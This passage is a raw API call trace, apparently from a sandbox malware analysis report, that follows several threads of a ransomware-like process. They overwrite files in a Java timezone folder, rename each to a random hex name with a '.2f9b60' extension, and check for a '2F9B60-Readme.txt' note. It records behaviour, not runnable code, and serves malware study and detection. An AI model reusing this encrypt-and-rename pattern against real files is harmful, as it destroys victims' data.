0x3fa9ccf3 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x5666a470 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x57698d15 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x3b8b0412 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x2929a45 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x684e3371 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x5842cea6 [0166.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44e0 [0166.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6aa0 [0166.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44b0 [0166.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6aa0) returned 1 [0166.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4330) returned 1 [0166.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0166.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6aa0 [0166.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d9960 [0166.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421c6d10 [0166.741] ReadFile (in: hFile=0x2974, lpBuffer=0x421d9960, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x1d5cf5d0, lpOverlapped=0x0 | out: lpBuffer=0x421d9960*, lpNumberOfBytesRead=0x1d5cf5d0*=0x41, lpOverlapped=0x0) returned 1 [0166.742] SetFilePointerEx (in: hFile=0x2974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.742] WriteFile (in: hFile=0x2974, lpBuffer=0x421c6d10*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x1d5cf5d4, lpOverlapped=0x0 | out: lpBuffer=0x421c6d10*, lpNumberOfBytesWritten=0x1d5cf5d4*=0x41, lpOverlapped=0x0) returned 1 [0199.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0199.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0199.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267140) returned 1 [0199.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421c6d10) returned 1 [0199.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d9960) returned 1 [0199.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6aa0) returned 1 [0199.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0199.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20267140 [0199.718] SetFilePointerEx (in: hFile=0x2974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.718] WriteFile (in: hFile=0x2974, lpBuffer=0x423a91b0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x1d5cf6f0, lpOverlapped=0x0 | out: lpBuffer=0x423a91b0*, lpNumberOfBytesWritten=0x1d5cf6f0*=0xfe, lpOverlapped=0x0) returned 1 [0203.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0203.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f7e0 [0203.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f7e0) returned 1 [0203.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d4a0 [0203.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f7e0 [0203.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f7b0 [0203.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f7b0) returned 1 [0203.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0203.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42d2f7b0 [0203.523] sprintf (in: _Dest=0x42d2f7b0, _Format="%c%c" | out: _Dest="4f") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7b2, _Format="%c%c" | out: _Dest="1a") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7b4, _Format="%c%c" | out: _Dest="51") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7b6, _Format="%c%c" | out: _Dest="0b") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7b8, _Format="%c%c" | out: _Dest="a4") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7ba, _Format="%c%c" | out: _Dest="8a") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7bc, _Format="%c%c" | out: _Dest="c4") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7be, _Format="%c%c" | out: _Dest="21") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7c0, _Format="%c%c" | out: _Dest="0f") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7c2, _Format="%c%c" | out: _Dest="3d") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7c4, _Format="%c%c" | out: _Dest="3b") returned 2 [0203.523] sprintf (in: _Dest=0x42d2f7c6, _Format="%c%c" | out: _Dest="2d") returned 2 [0203.523] RtlInitAnsiString (in: DestinationString=0x1d5cf768, SourceString="4f1a510ba48ac4210f3d3b2d" | out: DestinationString="4f1a510ba48ac4210f3d3b2d") [0203.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d5cf738, SourceString="4f1a510ba48ac4210f3d3b2d", AllocateDestinationString=1 | out: DestinationString="4f1a510ba48ac4210f3d3b2d") returned 0x0 [0203.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fe30 [0203.524] wcscat (in: _Dest=0x431a4340, _Source="4f1a51" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4f1a51") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4f1a51" [0203.524] wcscat (in: _Dest=0x431a4340, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4f1a51.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4f1a51.2f9b60" [0203.524] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4f1a51.2f9b60", NtPathName=0x1d5cf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4f1a51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c4900 [0237.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4900) returned 1 [0237.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309bb90) returned 1 [0237.692] NtQueryInformationFile (in: FileHandle=0x2974, IoStatusBlock=0x1d5cf778, FileInformation=0x1d5cf788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d5cf778, FileInformation=0x1d5cf788) returned 0x0 [0237.692] NtSetInformationFile (FileHandle=0x2974, IoStatusBlock=0x1d5cf778, FileInformation=0x1d5cf788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a4340) returned 1 [0237.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fe30) returned 1 [0237.960] FlushFileBuffers (hFile=0x2974) returned 1 [0238.250] CloseHandle (hObject=0x2974) returned 1 [0241.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3fe0 [0241.704] wcscpy (in: _Dest=0x431a3fe0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.704] wcscat (in: _Dest=0x431a3fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.704] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3fe0) returned 1 [0243.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebeb80) returned 1 Thread: id = 2804 os_tid = 0x17f4 [0159.877] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bamako")) returned 0x20 [0165.799] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako", dwFileAttributes=0x20) returned 1 [0166.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bamako"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2978 [0166.712] GetFileSizeEx (in: hFile=0x2978, lpFileSize=0x253cf6e0 | out: lpFileSize=0x253cf6e0*=85) returned 1 [0166.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f10 [0166.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0166.712] NtQuerySystemTime (in: CurrentTime=0x253cf5a0 | out: CurrentTime=0x253cf5a0*=132462177718258000) returned 0x0 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x70f97850 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x7258fcf8 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x7da7cbe2 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x4e9c59c4 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x196c0de [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x69b42da3 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x59a14af6 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x1b2fb584 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x4cc07b24 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x7d0751d [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x5a94143d [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x26632223 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x613ad061 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x1a2cbc1f [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x2291d246 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x3b24cd7b [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x7890bc41 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x74b0b3f2 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x5ba21785 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x3a3fe9ea [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x763c21d [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x408e24eb [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x4cc2c570 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x51b126e9 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x29208c15 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x4083856 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0xf512e4c [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x48186b20 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x2fa3c36b [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x6203dec7 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x449e0144 [0166.713] RtlRandomEx (in: Seed=0x253cf590 | out: Seed=0x253cf590) returned 0x1c5b2e29 [0166.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4420 [0166.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ba0 [0166.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43f0 [0166.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ba0) returned 1 [0166.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6dc0) returned 1 [0166.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0166.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ba0 [0166.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421c3100 [0166.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d2140 [0166.723] ReadFile (in: hFile=0x2978, lpBuffer=0x421c3100, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x253cf590, lpOverlapped=0x0 | out: lpBuffer=0x421c3100*, lpNumberOfBytesRead=0x253cf590*=0x55, lpOverlapped=0x0) returned 1 [0166.724] SetFilePointerEx (in: hFile=0x2978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.724] WriteFile (in: hFile=0x2978, lpBuffer=0x421d2140*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x253cf594, lpOverlapped=0x0 | out: lpBuffer=0x421d2140*, lpNumberOfBytesWritten=0x253cf594*=0x55, lpOverlapped=0x0) returned 1 [0199.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265220 [0199.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651f0 [0199.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202651f0) returned 1 [0199.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d2140) returned 1 [0199.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421c3100) returned 1 [0199.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ba0) returned 1 [0199.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0199.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202651f0 [0199.723] SetFilePointerEx (in: hFile=0x2978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.723] WriteFile (in: hFile=0x2978, lpBuffer=0x423a92c0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x253cf6b0, lpOverlapped=0x0 | out: lpBuffer=0x423a92c0*, lpNumberOfBytesWritten=0x253cf6b0*=0xfe, lpOverlapped=0x0) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0203.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44b0 [0203.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44b0) returned 1 [0203.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d4a0 [0203.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44b0 [0203.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44e0 [0203.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44e0) returned 1 [0203.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0203.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x422f44e0 [0203.532] sprintf (in: _Dest=0x422f44e0, _Format="%c%c" | out: _Dest="95") returned 2 [0203.532] sprintf (in: _Dest=0x422f44e2, _Format="%c%c" | out: _Dest="00") returned 2 [0203.532] sprintf (in: _Dest=0x422f44e4, _Format="%c%c" | out: _Dest="cc") returned 2 [0203.532] sprintf (in: _Dest=0x422f44e6, _Format="%c%c" | out: _Dest="b2") returned 2 [0203.532] sprintf (in: _Dest=0x422f44e8, _Format="%c%c" | out: _Dest="05") returned 2 [0203.532] sprintf (in: _Dest=0x422f44ea, _Format="%c%c" | out: _Dest="87") returned 2 [0203.532] sprintf (in: _Dest=0x422f44ec, _Format="%c%c" | out: _Dest="b6") returned 2 [0203.532] sprintf (in: _Dest=0x422f44ee, _Format="%c%c" | out: _Dest="44") returned 2 [0203.532] sprintf (in: _Dest=0x422f44f0, _Format="%c%c" | out: _Dest="94") returned 2 [0203.532] sprintf (in: _Dest=0x422f44f2, _Format="%c%c" | out: _Dest="6d") returned 2 [0203.532] sprintf (in: _Dest=0x422f44f4, _Format="%c%c" | out: _Dest="06") returned 2 [0203.532] sprintf (in: _Dest=0x422f44f6, _Format="%c%c" | out: _Dest="d2") returned 2 [0203.532] RtlInitAnsiString (in: DestinationString=0x253cf728, SourceString="9500ccb20587b644946d06d2" | out: DestinationString="9500ccb20587b644946d06d2") [0203.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x253cf6f8, SourceString="9500ccb20587b644946d06d2", AllocateDestinationString=1 | out: DestinationString="9500ccb20587b644946d06d2") returned 0x0 [0203.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f670 [0203.533] wcscat (in: _Dest=0x431a43d0, _Source="9500cc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\9500cc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\9500cc" [0203.533] wcscat (in: _Dest=0x431a43d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\9500cc.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\9500cc.2f9b60" [0203.533] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\9500cc.2f9b60", NtPathName=0x253cf6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\9500cc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c49a0 [0237.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c49a0) returned 1 [0237.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43221d40) returned 1 [0237.691] NtQueryInformationFile (in: FileHandle=0x2978, IoStatusBlock=0x253cf738, FileInformation=0x253cf748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x253cf738, FileInformation=0x253cf748) returned 0x0 [0237.691] NtSetInformationFile (FileHandle=0x2978, IoStatusBlock=0x253cf738, FileInformation=0x253cf748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a43d0) returned 1 [0237.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f670) returned 1 [0237.962] FlushFileBuffers (hFile=0x2978) returned 1 [0238.250] CloseHandle (hObject=0x2978) returned 1 [0241.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3b60 [0241.706] wcscpy (in: _Dest=0x431a3b60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.706] wcscat (in: _Dest=0x431a3b60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.706] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3b60) returned 1 [0243.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebec00) returned 1 Thread: id = 2805 os_tid = 0x16fc [0159.878] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bangui")) returned 0x20 [0165.799] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui", dwFileAttributes=0x20) returned 1 [0166.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bangui"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x297c [0166.697] GetFileSizeEx (in: hFile=0x297c, lpFileSize=0x241bfbe0 | out: lpFileSize=0x241bfbe0*=65) returned 1 [0166.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4510 [0166.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f10 [0166.698] NtQuerySystemTime (in: CurrentTime=0x241bfaa0 | out: CurrentTime=0x241bfaa0*=132462177718102000) returned 0x0 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x505265d6 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x75d1461c [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x10f7707b [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x4c2a097d [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x54989370 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x321b14fb [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x7349be28 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x2cc1cf8 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x3ef710e2 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x352ef48a [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x6962ed1e [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x63667027 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x374911bb [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0xe9a585d [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x3991b7f1 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x5aef8400 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x16a53c78 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x28dac592 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x39c7c40a [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x718dc3f7 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x2b14674e [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x26e65add [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x1ee1e53e [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x5157c1db [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x1154ca3f [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x7a188616 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x17d48122 [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x2cafe23c [0166.698] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x6ebbee14 [0166.699] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x7fe45a74 [0166.699] RtlRandomEx (in: Seed=0x241bfa90 | out: 